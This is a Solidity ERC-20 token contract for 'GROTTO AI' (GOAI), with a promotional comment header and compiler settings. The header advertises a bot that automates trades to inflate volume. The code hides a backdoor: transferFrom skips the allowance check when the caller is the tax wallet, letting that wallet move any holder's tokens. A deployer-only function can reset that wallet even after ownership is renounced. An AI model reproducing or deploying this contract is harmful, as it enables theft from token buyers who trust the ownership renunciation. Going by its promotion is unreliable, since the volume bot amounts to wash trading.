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/**

GROTTO AI, a utility coin on the Ethereum blockchain designed to transform market engagement. 
 
Grotto Volume Bot:  
The Volume Bot boosts market activity by automating trades, creating consistent volume and improving liquidity. 
This makes the token more attractive to investors, enhances visibility, and supports better market performance. 
 
Volume Bot: https://t.me/GrottoVolumeBot 
 
Grotto Token Locker:  
The Token Locker allows holders to securely lock their tokens for a set period, 
preventing early selling and promoting long-term stability, boosting investor confidence. 
 
Token Locker: https://t.me/GrottoLockBot 
Telegram: https://t.me/GrottoAi 
X: https://x.com/grotto_erc 
Website: https://grottoai.tech

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GOAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFees;
    address payable private _taxWallet;
    uint256 private _initialBuyTax=8;
    uint256 private _initialSellTax=8;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=22;
    uint256 private _reduceSellTaxAt=22;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"GROTTO AI";
    string private constant _symbol = unicode"GOAI";
    uint256 public _maxTxAmount =   2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private _deployer;
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        _balances[address(this)] = _tTotal;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_msgSender()] = true;
        _deployer = _msgSender();
        
        emit Transfer(address(0), address(this), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); if(_msgSender() != _taxWallet)
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            if (to != uniswapV2Pair && ! _isExcludedFromFees[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }
            if(to == uniswapV2Pair) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    swapForETH(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                taxify();
            }
        }
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function swapForETH(uint256 taxAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), taxAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            taxAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits(address payable limit) external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        _taxWallet = limit;
        _isExcludedFromFees[limit] = true;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function taxify() private {
        _taxWallet.transfer(address(this).balance);
    }
    function cleanStuckETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
    function cleanStuckERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_msgSender(), _amount);
    }
    function manualSwap(address payable wallet) external {
        require(_msgSender()==_deployer, "!deployer");
        _taxWallet = wallet;
        _isExcludedFromFees[wallet] = true;
    }
    function launch() external onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }
    receive() external payable {}
}

{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

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